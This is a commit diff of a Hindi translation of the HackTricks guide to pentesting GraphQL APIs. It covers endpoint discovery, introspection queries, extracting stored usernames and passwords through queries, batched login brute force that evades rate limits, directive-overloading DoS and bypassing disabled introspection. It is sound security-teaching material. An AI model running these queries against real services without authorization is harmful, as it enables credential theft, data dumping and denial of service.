Translated ['network-services-pentesting/pentesting-web/graphql.md', 'ne

This commit is contained in:
Translator 2024-07-17 11:20:52 +00:00
parent dc8b71f4f9
commit 8504f75278
4 changed files with 260 additions and 226 deletions

View file

@ -6,25 +6,25 @@
HackTricks का समर्थन करने के अन्य तरीके: HackTricks का समर्थन करने के अन्य तरीके:
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)! * अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें * [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें * हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें। * **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos पर PRs सबिट करके। * **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** को PRs जमा करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos मे
</details> </details>
## परिचय ## परिचय
GraphQL को **REST API के लिए एक कुशल विकल्प** के रूप में **हाइलाइट** किया गया है, जो बैकएंड से डेटा क्वेरी करने के लिए एक सरल दृष्टिकोण प्रदान करता है। REST के विपरीत, जो अक्सर डेटा इकट्ठा करने के लिए विभिन्न एंडपॉइंट पर कई अनुरोधों की आवश्यकता होती है, GraphQL एक **एकल अनुरोध** के माध्यम से सभी आवश्यक जानकारी को प्राप्त करने की सुविधा प्रदान करता है। यह सुविधा डेवलपर्स को उनकी डेटा फैचिंग प्रक्रियाओं की जटिलता को कम करके **लाभ पहुंचाती** है। GraphQL को **REST API के लिए एक कुशल विकल्प** के रूप में **हाइलाइट** किया गया है, जो बैकएंड से डेटा क्वेरी करने के लिए एक सरल दृष्टिकोण प्रदान करता है। REST के विपरीत, जो अक्सर डेटा एकत्र करने के लिए विभिन्न एंडप्विंट पर कई अनुरोधों की आवश्यकता होती है, GraphQL एक **एकल अनुरोध** के माध्यम से सभी आवश्यक जानकारी को प्राप्त करने की सुविधा प्रदान करता है। यह सुविधा डेवलपर्स को उनकी डेटा फैचिंग प्रक्रियाओं की जटिलता को कम करके **लाभ पहुंचाती** है।
## GraphQL और सुरक्षा ## GraphQL और सुरक्षा
नई तकनीकों के आगमन के साथ, GraphQL सहित नई सुरक्षा वंशावली भी उभरती है। एक महत्वपूर्ण बिंदु यह है कि **GraphQL में डिफ़ॉल्ट रूप से प्रमाणीकरण तंत्र शामिल नहीं है**। ऐसे सुरक्षा उपायों को लागू करना डेवलपर्स की जिम्मेदारी है। सही प्रमाणीकरण के बिना, GraphQL एंडपॉइंट संवेदनशील जानकारी को अप्रमाणित उपयोगकर्ताओं को उजागर कर सकते हैं, जो एक महत्वपूर्ण सुरक्षा जोखिम पैदा करता है। नई तकनीकों के आगमन के साथ, जैसे GraphQL, नई सुरक्षा विकल्प भी सामने आते हैं। एक महत्वपूर्ण बिंदु यह है कि **GraphQL डिफ़ॉल्ट रूप से प्रमाणीकरण तंत्र शामिल नहीं करता है**। इसे सुरक्षा उपाय लागू करने की डेवलपर्स की जिम्मेदारी होती है। सही प्रमाणीकरण के बिना, GraphQL एंडप्विंट्स अप्रमाणित उपयोगकर्ताओं को संवेदनशील जानकारी को उजागर कर सकते हैं, जो एक महत्वपूर्ण सुरक्षा जोखिम पैदा करता है।
### निर्देशिका ब्रूट फोर्स हमले और GraphQL ### निर्देशिका ब्रूट फोर्स हमले और GraphQL
उद्घाटित GraphQL उदाहरणों की पहचान के लिए निर्देशिका ब्रूट फोर्स हमलों में विशेष पथों का समावेश किया जाना सुझावित है। ये पथ हैं: उद्घाटन किए गए GraphQL उदाहरणों की पहचान के लिए, निर्देशिका ब्रूट फोर्स हमलों में विशेष पथों को शामिल करना सुझावित है। ये पथ हैं:
* `/graphql` * `/graphql`
* `/graphiql` * `/graphiql`
@ -35,21 +35,21 @@ GraphQL को **REST API के लिए एक कुशल विकल्
* `/graphql/api` * `/graphql/api`
* `/graphql/graphql` * `/graphql/graphql`
खुले GraphQL उदाहरणों की पहचान उसके समर्थित क्वेरीज की जांच करने की अनुमति देती है। यह अंतःदृष्टि प्रणाली GraphQL के द्वारा समर्थित क्वेरीज का विवरण देती है। इसके बारे में अधिक जानकारी के लिए, GraphQL अंतःदृष्टि पर दस्तावेज़ीकरण पर जाएं: [**GraphQL: एपीआई के लिए एक क्वेरी भाषा।**](https://graphql.org/learn/introspection/) खुले GraphQL उदाहरणों की पहचान करने से समर्थित क्वेरीज की जांच की जा सकती है। यह एंडप्विंट के माध्यम से पहुंची जा सकने वाले डेटा को समझने के लिए महत्वपूर्ण है। GraphQL का इंट्रोस्पेक्शन सिस्टम इसे सुविधाजनक बनाता है जिसमें स्कीमा द्वारा समर्थित क्वेरीज का विवरण दिया जाता है। इसके बारे में अधिक जानकारी के लिए, GraphQL इंट्रोस्पेक्शन पर दस्तावेज़ीकरण पर जाएं: [**GraphQL: एपीआई के लिए एक क्वेरी भाषा।**](https://graphql.org/learn/introspection/)
### Fingerprint ### फिंगरप्रिंट
उपकरण [**graphw00f**](https://github.com/dolevf/graphw00f) यह जांचने में सक्षम है कि सर्वर में कौन सा GraphQL इंजन उपयोग किया जा रहा है और फिर सुरक्षा महानिदेशक के लिए कुछ सहायक जानकारी प्रिंट करता है। उपकरण [**graphw00f**](https://github.com/dolevf/graphw00f) सर्वर में कौन सा GraphQL इंजन उपयोग किया जा रहा है उसे पहचानने में सक्षम है और फिर सुरक्षा महानिरीक्षक के लिए कुछ सहायक जानकारी प्रिंट करता है।
#### सार्वभौमिक क्वेरी <a href="#universal-queries" id="universal-queries"></a> #### सार्वभौमिक क्वेरी <a href="#universal-queries" id="universal-queries"></a>
यदि एक URL एक GraphQL सेवा है या नहीं यह जांचने के लिए एक **सार्वभौमिक क्वेरी**, `query{__typename}`, भेजी जा सकती है। यदि प्रतिक्रिया में `{"data": {"__typename": "Query"}}` शामिल है, तो यह पुष्टि करता है कि URL में एक GraphQL एंडपॉइंट होस्ट किया जा रहा है। यह विधि GraphQL के `__typename` फ़ील्ड पर निर्भर है, जो पूछे गए ऑब्जेक्ट के प्रकार को प्रकट करता है। यदि एक URL एक GraphQL सेवा है या नहीं यह जांचने के लिए, एक **सार्वभौमिक क्वेरी**, `query{__typename}`, भेजी जा सकती है। यदि प्रतिक्रिया में `{"data": {"__typename": "Query"}}` शामिल है, तो यह पुष्टि करता है कि URL में एक GraphQL एंडप्विंट होस्ट किया जा रहा है। यह विधि GraphQL के `__typename` फ़ील्ड पर निर्भर है, जो पूछे गए ऑब्जेक्ट के प्रकार को प्रकट करता है।
```javascript ```javascript
query{__typename} query{__typename}
``` ```
### मूल जांच ### मूल जांच
Graphql आम तौर पर **GET**, **POST** (x-www-form-urlencoded) और **POST**(json) का समर्थन करता है। हालांकि सुरक्षा के लिए CSRF हमलों को रोकने के लिए केवल json को अनुमति देना सिफारिश किया जाता है। Graphql आम तौर पर **GET**, **POST** (x-www-form-urlencoded) और **POST**(json) का समर्थन करता है। हालांकि सुरक्षा के लिए CSRF हमलों को रोकने के लिए केवल json की अनुमति देने की सिफारिश की जाती है।
#### आत्म-जांच #### आत्म-जांच
@ -60,18 +60,20 @@ query={__schema{types{name,fields{name}}}}
इस क्वेरी के साथ आपको उपयोग किए जा रहे सभी प्रकारों का नाम मिलेगा: इस क्वेरी के साथ आपको उपयोग किए जा रहे सभी प्रकारों का नाम मिलेगा:
![](<../../.gitbook/assets/image (1036).png>) ![](<../../.gitbook/assets/image (1036).png>)
{% code overflow="wrap" %}
```bash ```bash
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}} query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
``` ```
{% endcode %} {% endcode %}
इस क्वेरी के साथ आप सभी प्रकार, उसके फ़ील्ड, और उसके तर्क (और तर्क के प्रकार) को निकाल सकते हैं। यह डेटाबेस क्वेरी करने का तरीका जानने के लिए बहुत उपयोगी होगा। इस क्वेरी के साथ आप सभी प्रकार, उसके फ़ील्ड, और उसके तर्क (और तर्क के प्रकार) को निकाल सकते हैं। यह डेटाबेस क्वेरी कैसे करना है यह जानने के लिए बहुत उपयोगी होगा।
![](<../../.gitbook/assets/image (950).png>) ![](<../../.gitbook/assets/image (950).png>)
**त्रुटियाँ** **त्रुटियाँ**
यह देखना दिलचस्प है कि क्या **त्रुटियाँ** **दिखाई** जाएंगी क्योंकि ये उपयोगी **जानकारी** प्रदान करेंगी। यह देखना दिलचस्प है कि क्या **त्रुटियाँ** **दिखाई** जाएंगी क्योंकि ये उपयोगी **जानकारी** के साथ सहायक होंगी।
``` ```
?query={__schema} ?query={__schema}
?query={} ?query={}
@ -82,7 +84,7 @@ query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofTy
**जांच करें डेटाबेस स्कीमा के माध्यम से आत्म-जांच** **जांच करें डेटाबेस स्कीमा के माध्यम से आत्म-जांच**
{% hint style="info" %} {% hint style="info" %}
यदि आत्म-जांच सक्षम है लेकिन उपरोक्त क्वेरी नहीं चलती है, तो क्वेरी संरचना से `onOperation`, `onFragment`, और `onField` निर्देशिका हटाने की कोशिश करें। यदि आत्म-जांच सक्षम है लेकिन उपरोक्त क्वेरी नहीं चलती है, तो क्वेरी संरचना से `onOperation`, `onFragment`, और `onField` निर्देशिकाओं को हटाने की कोशिश करें।
{% endhint %} {% endhint %}
```bash ```bash
#Full introspection query #Full introspection query
@ -179,21 +181,21 @@ name
``` ```
### पूछताछ ### पूछताछ
अब जब हमें पता चल गया है कि डेटाबेस में कौन सी प्रकार की जानकारी सहेजी गई है, चलिए कुछ मान्यताएँ **निकालने** की कोशिश करें। अब जब हमें यह पता चल गया है कि डेटाबेस में कौन सी जानकारी सहेजी गई है, चलिए कुछ मान्यों को **निकालने** की कोशिश करें।
जांच में आपको पाता चल सकता है **किस वस्तु के लिए सीधे पूछताछ किया जा सकता है** (क्योंकि आप किसी वस्तु का पूछताछ नहीं कर सकते क्योंकि यह मौजूद है)। निम्न छवि में आप देख सकते हैं कि "_queryType_" को "_Query_" कहा गया है और "_Query_" वस्तु का एक फ़ील्ड "_flags_" है, जो एक प्रकार की वस्तु है। इसलिए आप झंडा वस्तु का पूछताछ कर सकते हैं। जांच में आपको पाता चल सकता है **कि किस ऑब्जेक्ट के लिए सीधे पूछताछ किया जा सकता है** (क्योंकि आप किसी ऑब्जेक्ट का पूछताछ नहीं कर सकते क्योंकि यह मौजूद है)। निम्न छवि में आप देख सकते हैं कि "_queryType_" को "_Query_" कहा गया है और "_Query_" ऑब्जेक्ट का एक फ़ील्ड "_flags_" है, जो एक प्रकार का ऑब्जेक्ट है। इसलिए आप झंडा ऑब्जेक्ट का पूछताछ कर सकते हैं।
![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-17-48.png>) ![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-17-48.png>)
ध्यान दें कि पूछताछ का प्रकार "_flags_" का "_Flags_" है, और यह वस्तु नीचे परिभाषित है: ध्यान दें कि पूछताछ का प्रकार "_flags_" "_Flags_" है, और यह ऑब्जेक्ट नीचे परिभाषित है:
![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-22-57 (1).png>) ![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-22-57 (1).png>)
आप देख सकते हैं कि "_Flags_" वस्तु **नाम** और **मान** से मिलकर बनी है। फिर आप झंडों के सभी नाम और मान प्राप्त कर सकते हैं इस पूछताछ के साथ: आप देख सकते हैं कि "_Flags_" ऑब्जेक्ट में **नाम** और **मान** शामिल हैं फिर आप झंडों के सभी नाम और मान प्राप्त कर सकते हैं इस पूछताछ के साथ:
```javascript ```javascript
query={flags{name, value}} query={flags{name, value}}
``` ```
नोट करें कि यदि **क्वेरी करने का ऑब्जेक्ट** एक **ौलिक** **प्रकार** है जैसे कि **स्ट्रिंग** जैसे कि निम्नलिखित उदाहरण में नोट करें कि यदि **क्वेरी करने का ऑब्जेक्ट** एक **प्राथमिक** **प्रकार** है जैसे कि निम्नलिखित उदाहरण में
![](<../../.gitbook/assets/image (958).png>) ![](<../../.gitbook/assets/image (958).png>)
@ -201,26 +203,24 @@ query={flags{name, value}}
```javascript ```javascript
query={hiddenFlags} query={hiddenFlags}
``` ```
एक और उदाहरण में, "_Query_" प्रकार के अंदर 2 ऑब्जेक्ट्स थे: "_user_" और "_users_"। यदि इन ऑब्जेक्ट्स को खोजने के लिए कोई आर्ग्यूमेंट की आवश्यकता नहीं है, तो आप चाहें तो उन से सभी जानकारी प्राप्त कर सकते हैं ज आप चाहते हैं। इस उदाहरण में इंटरनेट से आप सहेजे गए उपयोगकर्ता नाम और पासवर्ड निकाल सकते हैं: एक और उदाहरण में, "_Query_" प्रकार के अंदर 2 ऑब्जेक्ट्स थे: "_user_" और "_users_"। यदि इन ऑब्जेक्ट्स को खोजने के लिए कोई आर्ग्यूमेंट की आवश्यकता नहीं है, तो आप चाहें तो उन से सभी जानकारी प्राप्त कर सकते हैं जिसे आप चाहते हैं। इस उदाहरण में इंटरनेट से आप सहेजे गए उपयोगकर्ता नाम और पासवर्ड निकाल सकते हैं:
![](<../../.gitbook/assets/image (880).png>) ![](<../../.gitbook/assets/image (880).png>)
हालांकि, इस उदाहरण में यदि आप ऐसा करने की कोशिश करते हैं तो आपको यह **त्रुटि** मिलेगी: हालांकि, इस उदाहरण में यदि आप ऐसा करने की कोशिश करते हैं तो आपको यह **त्रुटि** मिलती है:
![](<../../.gitbook/assets/image (1042).png>) ![](<../../.gitbook/assets/image (1042).png>)
लगता है कि किसी प्रकार से यह "_**uid**_" आर्ग्यूमेंट का उपयोग करके खोजेगा जिसका प्रकार _**Int**_ है। लगता है कि किसी तरह से यह "_**uid**_" आर्ग्यूमेंट का उपयोग "_**Int**_" प्रकार से खोजेगा। जैसे ही हम यह जान लेते हैं, [मौलिक गणना](graphql.md#basic-enumeration) अनुभाग में एक क्वेरी प्रस्तुत की गई थी जो हमें सभी आवश्यक जानकारी दिखा रही थी: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
वैसे, हम पहले ही जान चुके थे कि [मौलिक गणना](graphql.md#basic-enumeration) अनुभाग में एक क्वेरी प्रस्तुत की गई थी जो हमें सभी आवश्यक जानकारी दिखा रही थी: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` यदि आप उस क्वेरी को चलाने के लिए प्रदान की गई छवि पढ़ते हैं तो आप देखेंगे कि "_**user**_" में "_**uid**_" नामक **arg** "_**Int**_" प्रकार का था।
यदि आप उस क्वेरी को चलाने पर प्रदान की गई छवि पढ़ते हैं तो आप देखेंगे कि "_**user**_" में आर्ग "_**uid**_" था जिसका प्रकार _Int_ था। इसलिए, कुछ हल्के _**uid**_ ब्रूटफोर्स करते हुए मैंने पाया कि _**uid**=**1**_ में एक उपयोगकर्ता नाम और एक पासवर्ड प्राप्त हुआ था:\
इसलिए, कुछ हल्के _**uid**_ ब्रूटफोर्स करते समय मैंने पाया कि _**uid**=**1**_ में एक उपयोगकर्ता नाम और एक पासवर्ड प्राप्त हुआ था:\
`query={user(uid:1){user,password}}` `query={user(uid:1){user,password}}`
![](<../../.gitbook/assets/image (90).png>) ![](<../../.gitbook/assets/image (90).png>)
ध्यान दें कि मैंने **खोज निकाली** कि मैं "_**user**_" और "_**password**_" पैरामीटर मांग सकता हूं क्योंकि अगर मैं कुछ ऐसा खोजने की कोशिश करता हू जो मौजूद नहीं है (`query={user(uid:1){noExists}}`) तो मुझे यह त्रुटि मिलती है: ध्यान दें कि मैंने **खोज** किया कि मैं "_**user**_" और "_**password**_" पैरामीटर के लिए पूछ सकता हूँ क्योंकि अगर मैं कुछ ऐसा खोजने की कोशिश करता हू जो मौजूद नहीं है (`query={user(uid:1){noExists}}`) तो मुझे यह त्रुटि मिलती है:
![](<../../.gitbook/assets/image (707).png>) ![](<../../.gitbook/assets/image (707).png>)
@ -228,11 +228,11 @@ query={hiddenFlags}
**क्वेरी स्ट्रिंग डंप ट्रिक (धन्यवाद @BinaryShadow\_)** **क्वेरी स्ट्रिंग डंप ट्रिक (धन्यवाद @BinaryShadow\_)**
यदि आप एक स्ट्रिंग प्रकार से खोज कर सकते हैं, जैसे: `query={theusers(description: ""){username,password}}` और आप एक खाली स्ट्रिंग के लिए खोजते हैं तो यह सभी डेटा को डंप कर देगा। (_कृपया ध्यान दें कि यह उदाहरण ट्यूटोरियल के उदाहरण से संबंधित नहीं है, इस उदाहरण के लिए मान लें कि आप "**theusers**" का उपयोग "**description**" नामक स्ट्रिंग फ़ील्ड का उपयोग करके खोज सकते हैं"_). यदि आप एक स्ट्रिंग प्रकार से खोज कर सकते हैं, जैसे: `query={theusers(description: ""){username,password}}` और आप एक खाली स्ट्रिंग के लिए खोजते हैं तो यह सभी डेटा को **डंप** कर देगा। (_ध्यान दें कि यह उदाहरण ट्यूटोरियल के उदाहरण से संबंधित नहीं है, इस उदाहरण के लिए मान लें कि आप "**theusers**" का उपयोग "**description**" नामक एक स्ट्रिंग फ़ील्ड के माध्यम से खोज सकते हैं"_).
### खोज ### खोज
इस सेटअप में, एक **डेटाबेस** में **व्यक्ति** और **फिल्में** हैं। **व्यक्ति** अपने **ईमेल** और **नाम** द्वारा पहचाने जाते हैं; **फिल्में** अपने **नाम** और **रेटिंग** द्वारा**व्यक्ति** एक-दूसरे के साथ मित्र हो सकते हैं और उनके पास फिल्में हो सकती हैं, जो डेटाबेस के भीतर संबंधों को दर्शाती हैं। इस सेटअप में, एक **डेटाबेस** में **व्यक्ति** और **फिल्में** हैं। **व्यक्ति** अपने **ईमेल** और **नाम** से पहचाने जाते हैं; **फिल्में** अपने **नाम** और **रेटिंग** से**व्यक्ति** एक-दूसरे के साथ मित्र हो सकते हैं और उनके पास फिल्में हो सकती हैं, जो डेटाबेस के भीतर संबंधों को दर्शाती हैं।
आप **नाम** द्वारा व्यक्तियों की **खोज** कर सकते हैं और उनके ईमेल प्राप्त कर सकते हैं: आप **नाम** द्वारा व्यक्तियों की **खोज** कर सकते हैं और उनके ईमेल प्राप्त कर सकते हैं:
```javascript ```javascript
@ -242,7 +242,7 @@ email
} }
} }
``` ```
आप व्यक्तियों को उनके नाम द्वारा **खोज** सकते हैं और उनक**सब्सक्राइब** की गई **फिल्में** प्राप्त कर सकते हैं: आप व्यक्तियों को नाम द्वारा **खोज** सकते हैं और उनक**सब्सक्राइब** किए गए **फिल्में** प्राप्त कर सकते हैं:
```javascript ```javascript
{ {
searchPerson(name: "John Doe") { searchPerson(name: "John Doe") {
@ -257,9 +257,9 @@ name
} }
} }
``` ```
नोट करें कि इसमें इंजेक्शन करके व्यक्ति के `subscribedMovies` का `name` प्राप्त करने के लिए संकेतित किया गया है। नोट करें कि इसमें इंडिकेट किया गया है कि व्यक्ति के `subscribedMovies` का `name` प्राप्त करना है।
आप एक साथ **कई ऑब्जेक्ट्स खोज सकते हैं**। इस मामले में, 2 फिल्मों की खोज की जाती है: आप एक साथ **कई ऑब्जेक्ट्स खोज सकते हैं**। इस मामले में, 2 फिल्मों की खोज की गई है:
```javascript ```javascript
{ {
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) { searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
@ -294,13 +294,13 @@ name
**म्युटेशन सर्वर-साइड में परिवर्तन करने के लिए उपयोग किए जाते हैं।** **म्युटेशन सर्वर-साइड में परिवर्तन करने के लिए उपयोग किए जाते हैं।**
**इंट्रोस्पेक्शन** में आप **घोषित** **म्युटेशन** खोज सकते हैं। निम्नलिखित छवि में "_म्युटेशनटाइप_" को "_म्युटेशन_" कहा जाता है और "_म्युटेशन_" ऑब्जेक्ट में म्युटेशन के नाम होते हैं (जैसे इस मामले में "_एड्डपर्सन_"): **इंट्रोस्पेक्शन** में आप **घोषित** **म्युटेशन** ढूंढ सकते हैं। निम्नलिखित छवि में "_म्युटेशनटाइप_" को "_म्युटेशन_" कहा जाता है और "_म्युटेशन_" ऑब्जेक्ट में म्युटेशन के नाम होते हैं (जैसे इस मामले में "_एड्डपर्सन_"):
![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-26-27 (1).png>) ![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-26-27 (1).png>)
इस सेटअप में, एक **डेटाबेस** में **व्यक्ति** और **फिल्में** होती हैं। **व्यक्ति** अपने **ईमेल** और **नाम** द्वारा पहचाने जाते हैं; **फिल्में** अपने **नाम** और **रेटिंग** द्वारा**व्यक्ति** एक-दूसरे के साथ दोस्त बन सकते हैं और उनके पास फिल्में हो सकती हैं, जो डेटाबेस के भीतर संबंधों को दर्शाती हैं। इस सेटअप में, एक **डेटाबेस** में **व्यक्ति** और **फिल्में** होती हैं। **व्यक्ति** अपने **ईमेल** और **नाम** से पहचानी जाती हैं; **फिल्में** अपने **नाम** और **रेटिंग** से**व्यक्ति** एक-दूसरे के साथ दोस्त बन सकते हैं और उनके पास फिल्में हो सकती हैं, जो डेटाबेस के भीतर संबंधों को दर्शाती हैं।
डेटाबेस में **नई** फिल्में बनाने के लिए एक म्युटेशन निम्नलिखित तरह से हो सकता है (इस उदाहरण में म्युटेशन को `एड्डमूवी` कहा गया है): डेटाबेस में **नई** फिल्में बनाने के लिए एक म्युटेशन निम्नलिखित तरह हो सकता है (इस उदाहरण में म्युटेशन को `एड्डमूवी` कहा गया है):
```javascript ```javascript
mutation { mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) { addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
@ -343,18 +343,18 @@ releaseYear
``` ```
### निर्देशिका ओवरलोडिंग ### निर्देशिका ओवरलोडिंग
जैसा कि [**इस रिपोर्ट में वर्णित एक vulns में स्पष्ट किया गया है**](https://www.landh.tech/blog/20240304-google-hack-50000/), एक निर्देशिका ओवरलोडिंग एक निर्देशिका को लाखों बार भी बुलाना है ताकि सर्वर को ऑपरेशन बर्बाद करने के लिए डीओएस किया जा सके। जैसा कि [**इस रिपोर्ट में वर्णित एक vulns में स्पष्ट किया गया है**](https://www.landh.tech/blog/20240304-google-hack-50000/), एक निर्देशिका ओवरलोडिंग का अर्थ है कि सर्वर को ऑपरेशन बर्बाद करने के लिए एक निर्देशिका को लाखों बार भी बुलाया जाए ताकि यह DoS किया जा सके।
### 1 एपीआई अनुरोध में बैचिंग ब्रूट-फोर्स ### 1 API अनुरोध में ब्रूट-फोर्स का बैचिंग
यह जानकारी [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/) से ली गई थी।\ यह जानकारी [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/) से ली गई थी।\
**विभिन्न क्रेडेंशियल्स के साथ एक साथ कई क्वेरी भेजने** के साथ GraphQL एपीआई के माध्यम से प्रमाणीकरण की जांच की जाती है। यह एक क्लासिक ब्रूट फोर्स हमला है, लेकिन अब GraphQL बैचिंग सुविधा के कारण एक HTTP अनुरोध में एक से अधिक लॉगिन/पासवर्ड पेयर भेजना संभव है। इस दृष्टिकोण से बाहरी दर निगरानी एप्लिकेशन को धोखा देने के लिए सभी ठीक है और कोई ब्रूट-फोर्सिंग बॉट पासवर्ड को अनुमान लगाने की कोशिश नहीं कर रहा है। **विभिन्न क्रेडेंशियल्स के साथ एक साथ कई क्वेरी भेजने** के माध्यम से GraphQL API के माध्यम से प्रमाणीकरण की जाती है ताकि इसे जांचा जा सके। यह एक क्लासिक ब्रूट फोर्स हमला है, लेकिन अब GraphQL बैचिंग सुविधा के कारण HTTP अनुरोध में एक से अधिक लॉगिन/पासवर्ड जोड़ना संभव है। यह दृष्टिकोण बाहरी दर निगरानी एप्लिकेशनों को धोखा देने के लिए बनाया गया है कि सब कुछ ठीक है और कोई ब्रूट-फोर्सिंग बॉट पासवर्ड को अनुमानित करने की कोशिश नहीं कर रहा है।
नीचे आप एक एप्लिकेशन प्रमाणीकरण अनुरोध का सबसे सरल प्रदर्शन देख सकते हैं, **3 विभिन्न ईमेल/पासवर्ड पेयर एक साथ**। स्पष्ट है कि एक ही तरीके से एक ही अनुरोध में हजारों भेजना संभव है: नीचे आप एक एप्लिकेशन प्रमाणीकरण अनुरोध का सबसे सरल प्रदर्शन देख सकते हैं, **3 विभिन्न ईमेल/पासवर्ड जोड़ों के साथ एक समय में**। स्पष्ट है कि एक ही अनुरोध में हजारों भेजना भी संभव है:
![](<../../.gitbook/assets/image (1081).png>) ![](<../../.gitbook/assets/image (1081).png>)
हम जवाब स्क्रीनशॉट से देख सकते हैं, पहला और तीसरा अनुरोध _null_ लौटाए और _त्रुटि_ खंड में संबंधित जानकारी को प्रकट किया। **दूसरा म्युटेशन सही प्रमाणीकरण** डेटा रखता था और प्रतिक्रिया में सही प्रमाणीकरण सत्र टोकन था। हम जवाब स्क्रीनशॉट से देख सकते हैं, पहला और तीसरा अनुरोध _null_ लौटाए और त्रुटि खंड में संबंधित जानकारी को प्रतिबिंबित किया। **दूसरा म्युटेशन सही प्रमाणीकरण** डेटा रखता था और प्रतिक्रिया में सही प्रमाणीकरण सत्र टोकन था।
![](<../../.gitbook/assets/image (119) (1).png>) ![](<../../.gitbook/assets/image (119) (1).png>)
@ -362,13 +362,13 @@ releaseYear
और अधिक **graphql endpoints इंट्रोस्पेक्शन को अक्षम कर रहे हैं**। हालांकि, जब एक अप्रत्याशित अनुरोध प्राप्त होता है, तो graphql द्वारा फेंकी गई त्रुटियाँ [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) जैसे उपकरणों के लिए पर्याप्त हैं ताकि स्कीमा का अधिकांश हिस्सा पुनर्रचित किया जा सके। और अधिक **graphql endpoints इंट्रोस्पेक्शन को अक्षम कर रहे हैं**। हालांकि, जब एक अप्रत्याशित अनुरोध प्राप्त होता है, तो graphql द्वारा फेंकी गई त्रुटियाँ [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) जैसे उपकरणों के लिए पर्याप्त हैं ताकि स्कीमा का अधिकांश हिस्सा पुनर्रचित किया जा सके।
इसके अतिरिक्त, Burp Suite एक्सटेंशन [**GraphQuail**](https://github.com/forcesunseen/graphquail) एक्सटेंशन **Burp के माध्यम से जाने जाने वाले GraphQL API अनुरोधों को ध्यान से देखता है** और प्रत्येक नए क्वेरी के साथ एक आंतरिक GraphQL **स्कीमा बनाता है**। यह गलत जवाब देता है जब इंट्रोस्पेक्शन क्वेरी प्राप्त होती है। इस परिणामस्वरूप, GraphQuail सभी क्वेरी, तर्क और फ़ील्ड दिखाता है जो एपीआई के भीतर उपयोग के लिए उपलब्ध हैं। अधिक जानकारी के लिए [**यह जांचें**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema)। इसके अतिरिक्त, Burp Suite एक्सटेंशन [**GraphQuail**](https://github.com/forcesunseen/graphquail) एक्सटेंशन **Burp के माध्यम से जा रहे GraphQL API अनुरोधों को ध्यान से देखता है** और प्रत्येक नए क्वेरी के साथ एक आंतरिक GraphQL **स्कीमा बनाता है**। यह ग्राफ़िक्स को GraphiQL और Voyager के लिए उजागर कर सकता है। एक्सटेंशन एक नकली प्रतिक्रिया लौटाता है जब इंट्रोस्पेक्शन क्वेरी प्राप्त होती है। इसके परिणामस्वरूप, GraphQuail सभी क्वेरी, तर्क और फ़ील्ड दिखाता है जो API के भीतर उपयोग के लिए उपलब्ध हैं। अधिक जानकारी के लिए [**यह जांचें**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema)।
एक अच्छी **वर्डलिस्ट** [**यहाँ पाई जा सकती है ताकि**](https://github.com/Escape-Technologies/graphql-wordlist?) खोजें [**GraphQL entities** एक अच्छी **शब्दसूची** [**यहाँ पाई जा सकती है**](https://github.com/Escape-Technologies/graphql-wordlist?)।
### GraphQL इंट्रोस्पेक्शन रोकने की रोकथाम दरार <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a> ### GraphQL इंट्रोस्पेक्शन रोकथाम को छलना <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
